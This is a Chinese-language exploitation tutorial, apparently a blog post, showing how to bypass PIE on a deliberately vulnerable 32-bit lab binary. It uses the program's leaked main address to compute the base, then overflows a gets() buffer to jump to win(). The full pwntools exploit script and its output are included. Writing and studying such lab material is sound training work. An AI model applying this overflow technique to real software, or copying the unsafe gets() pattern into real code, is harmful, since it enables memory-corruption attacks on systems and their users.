发布于

利用已泄漏信息绕过 PIE

作者

0x01 源码

pie-32.zip

Binary

source.c
#include <stdio.h>

int main() {
  vuln();

  return 0;
}

void vuln() {
  char buffer[20];

  printf("Main Function is at: %lx\n", main);

  gets(buffer);
}

void win() {
  puts("PIE bypassed! Great job :D");
}

程序输出 main 的地址,我们可以通过它来计算出基地址。然后我们可以利用这个基地址计算出 win() 的地址。

0x02 分析

让我们运行该脚本以确保它是正确的 :D

$ ./vuln-32
Main Function is at: 0x5655f1b9

正如我们所期望的,它打印了 main 的地址。

0x03 利用

首先,让我们设置脚本。创建一个 ELF 对象(稍后会变得非常有用),然后启动该进程。

from pwn import *

context.log_level = 'debug'

elf = context.binary = ELF('./vuln-32')
p = process()

现在我们要获取 main 函数的地址。为此,我们可以简单地接收它,然后读取。

p.recvuntil('at: ')
main = int(p.recvline(), 16)

Note

由于我们接收了除地址之外的整行,因此只有地址才会出现在 p.recvline() 中。

现在我们将使用之前创建的 ELF 对象并设置它的基地址。sym 存储的是函数的相对偏移量,我们只要用绝对地址减去相对偏移就可以得到基地址。

设置基地址前 sym 字典中存储的是各函数的相对偏移量;设置基地址之后,sym 会变为存储各函数的绝对地址。

elf.address = main - elf.sym['main']

在这个例子中,elf.sym['main'] 将返回 0x11b9;如果我们设置基地址后再次运行它,它将返回 0x11b9 + 基地址 的值。本质上,我们是从泄漏的地址中减去 main 的偏移量,以获得二进制文件的基地址。

现在我们有了可以调用 win() 的基本信息,我们可以调用 win() 了:

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)

p.interactive()

Note

我假设你知道如何找到溢出 Padding 以及其他内容,因此我不会向你展示其中的每一步具体该怎么做,希望你能通过自己的能力解决它们。

如果你不知道该怎么办,请先去看我之前写的文章,好好思考每一步为什么这样做,相信会有所帮助。

$ python exp.py
[*] 'vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process 'vuln-32': pid 147342
PIE bypassed! Great job :D

1x01 最终 Exploit

from pwn import *

# context.log_level = 'debug'

elf = context.binary = ELF('./vuln-32')
p = process()

p.recvuntil('at: ')
main = int(p.recvline(), 16)

elf.address = main - elf.sym['main']

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)

p.interactive()

0x04 总结

通过泄漏的 main 地址,我们能够计算出二进制文件的基地址。由此我们可以计算出 win 的地址并调用它。

0x05 64-bit

自己尝试一下 64-bit 的版本该怎么绕过。

pie-64.zip

Binary